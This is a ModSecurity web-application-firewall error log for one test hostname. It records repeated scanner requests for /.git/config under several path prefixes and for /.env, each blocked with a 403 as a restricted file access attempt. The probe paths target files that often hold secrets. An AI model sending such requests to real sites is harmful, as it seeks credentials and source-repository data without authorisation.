[Tue Jul 09 10:23:15.446514 2024] [:error] [pid 309699] [client 83.147.52.49:48118] [client 83.147.52.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/css/.git/config&quot;] [unique_id &quot;Zozzc6Qq4ckNRxaGPPIH1gAAAAQ&quot;]
[Tue Jul 09 10:23:15.446821 2024] [:error] [pid 309699] [client 83.147.52.49:48118] [client 83.147.52.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/css/.git/config&quot;] [unique_id &quot;Zozzc6Qq4ckNRxaGPPIH1gAAAAQ&quot;]
[Tue Jul 09 10:23:15.448447 2024] [:error] [pid 313441] [client 83.147.52.49:48160] [client 83.147.52.49] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /git/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/git/.git/config&quot;] [unique_id &quot;Zozzc4A2vJIlvyCIAtFQhQAAAAY&quot;]
[Tue Jul 09 10:23:15.448737 2024] [:error] [pid 313441] [client 83.147.52.49:48160] [client 83.147.52.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/git/.git/config&quot;] [unique_id &quot;Zozzc4A2vJIlvyCIAtFQhQAAAAY&quot;]
[Tue Jul 09 10:23:15.449002 2024] [:error] [pid 313441] [client 83.147.52.49:48160] [client 83.147.52.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/git/.git/config&quot;] [unique_id &quot;Zozzc4A2vJIlvyCIAtFQhQAAAAY&quot;]
[Tue Jul 09 10:23:15.449891 2024] [:error] [pid 309698] [client 83.147.52.49:48226] [client 83.147.52.49] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wiki/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wiki/.git/config&quot;] [unique_id &quot;ZozzcztIFtivjnrxdzEgdAAAAAM&quot;]
[Tue Jul 09 10:23:15.450141 2024] [:error] [pid 309698] [client 83.147.52.49:48226] [client 83.147.52.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wiki/.git/config&quot;] [unique_id &quot;ZozzcztIFtivjnrxdzEgdAAAAAM&quot;]
[Tue Jul 09 10:23:15.450409 2024] [:error] [pid 309698] [client 83.147.52.49:48226] [client 83.147.52.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wiki/.git/config&quot;] [unique_id &quot;ZozzcztIFtivjnrxdzEgdAAAAAM&quot;]
[Tue Jul 09 10:23:15.452992 2024] [:error] [pid 309695] [client 83.147.52.49:48192] [client 83.147.52.49] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /index/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/index.html/.git/config&quot;] [unique_id &quot;Zozzc52OIe3M2j2NoFsCjwAAAAA&quot;]
[Tue Jul 09 10:23:15.453177 2024] [:error] [pid 309695] [client 83.147.52.49:48192] [client 83.147.52.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/index.html/.git/config&quot;] [unique_id &quot;Zozzc52OIe3M2j2NoFsCjwAAAAA&quot;]
[Tue Jul 09 10:23:15.453368 2024] [:error] [pid 309695] [client 83.147.52.49:48192] [client 83.147.52.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/index.html/.git/config&quot;] [unique_id &quot;Zozzc52OIe3M2j2NoFsCjwAAAAA&quot;]
[Tue Jul 09 10:23:15.454179 2024] [:error] [pid 309700] [client 83.147.52.49:48150] [client 83.147.52.49] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /login/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.git/config&quot;] [unique_id &quot;Zozzc-LMDwIajEb4yjnpDAAAAAU&quot;]
[Tue Jul 09 10:23:15.454437 2024] [:error] [pid 309700] [client 83.147.52.49:48150] [client 83.147.52.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.git/config&quot;] [unique_id &quot;Zozzc-LMDwIajEb4yjnpDAAAAAU&quot;]
[Tue Jul 09 10:23:15.454506 2024] [:error] [pid 309696] [client 83.147.52.49:48178] [client 83.147.52.49] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /web/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/config&quot;] [unique_id &quot;Zozzc0kXXWIKmMqU1KDKYAAAAAE&quot;]
[Tue Jul 09 10:23:15.454684 2024] [:error] [pid 309700] [client 83.147.52.49:48150] [client 83.147.52.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.git/config&quot;] [unique_id &quot;Zozzc-LMDwIajEb4yjnpDAAAAAU&quot;]
[Tue Jul 09 10:23:15.454707 2024] [:error] [pid 309696] [client 83.147.52.49:48178] [client 83.147.52.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/config&quot;] [unique_id &quot;Zozzc0kXXWIKmMqU1KDKYAAAAAE&quot;]
[Tue Jul 09 10:23:15.454900 2024] [:error] [pid 309696] [client 83.147.52.49:48178] [client 83.147.52.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/config&quot;] [unique_id &quot;Zozzc0kXXWIKmMqU1KDKYAAAAAE&quot;]
[Tue Jul 09 10:23:15.456407 2024] [:error] [pid 314410] [client 83.147.52.49:48162] [client 83.147.52.49] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /vendor/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.git/config&quot;] [unique_id &quot;Zozzc1dddELZEc5T3XtbbQAAAAc&quot;]
[Tue Jul 09 10:23:15.456684 2024] [:error] [pid 314410] [client 83.147.52.49:48162] [client 83.147.52.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.git/config&quot;] [unique_id &quot;Zozzc1dddELZEc5T3XtbbQAAAAc&quot;]
[Tue Jul 09 10:23:15.456924 2024] [:error] [pid 314410] [client 83.147.52.49:48162] [client 83.147.52.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.git/config&quot;] [unique_id &quot;Zozzc1dddELZEc5T3XtbbQAAAAc&quot;]
[Sun Jul 14 02:23:09.392262 2024] [:error] [pid 431713] [client 45.148.10.230:51396] [client 45.148.10.230] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZpMabZagZXpOsbhLlOQMRAAAAAA&quot;]
[Sun Jul 14 02:23:09.394412 2024] [:error] [pid 431713] [client 45.148.10.230:51396] [client 45.148.10.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZpMabZagZXpOsbhLlOQMRAAAAAA&quot;]
[Sun Jul 14 02:23:09.394857 2024] [:error] [pid 431713] [client 45.148.10.230:51396] [client 45.148.10.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZpMabZagZXpOsbhLlOQMRAAAAAA&quot;]
[Sat Jul 20 19:42:05.638090 2024] [:error] [pid 572291] [client 45.148.10.230:43600] [client 45.148.10.230] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Zpv27QecEnNtiQht0MFzjQAAAAA&quot;]
[Sat Jul 20 19:42:05.640703 2024] [:error] [pid 572291] [client 45.148.10.230:43600] [client 45.148.10.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Zpv27QecEnNtiQht0MFzjQAAAAA&quot;]
[Sat Jul 20 19:42:05.641184 2024] [:error] [pid 572291] [client 45.148.10.230:43600] [client 45.148.10.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Zpv27QecEnNtiQht0MFzjQAAAAA&quot;]
[Thu Aug 08 16:42:15.632074 2024] [:error] [pid 1015471] [client 45.148.10.59:50610] [client 45.148.10.59] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZrTZR9wBdVKHI0Fe6mJT_AAAAAI&quot;]
[Thu Aug 08 16:42:15.633895 2024] [:error] [pid 1015471] [client 45.148.10.59:50610] [client 45.148.10.59] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZrTZR9wBdVKHI0Fe6mJT_AAAAAI&quot;]
[Thu Aug 08 16:42:15.634086 2024] [:error] [pid 1015471] [client 45.148.10.59:50610] [client 45.148.10.59] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZrTZR9wBdVKHI0Fe6mJT_AAAAAI&quot;]
[Sun Aug 11 02:33:58.914946 2024] [:error] [pid 1091701] [client 45.148.10.142:58510] [client 45.148.10.142] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZrgG9lkjVI3jtUjkNPjniAAAAAE&quot;]
[Sun Aug 11 02:33:58.916981 2024] [:error] [pid 1091701] [client 45.148.10.142:58510] [client 45.148.10.142] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZrgG9lkjVI3jtUjkNPjniAAAAAE&quot;]
[Sun Aug 11 02:33:58.917158 2024] [:error] [pid 1091701] [client 45.148.10.142:58510] [client 45.148.10.142] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZrgG9lkjVI3jtUjkNPjniAAAAAE&quot;]
[Sun Aug 11 16:46:27.858512 2024] [:error] [pid 1096821] [client 83.147.52.49:50984] [client 83.147.52.49] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZrjOw6DBjT3wTTtsv8ZIigAAAAs&quot;]
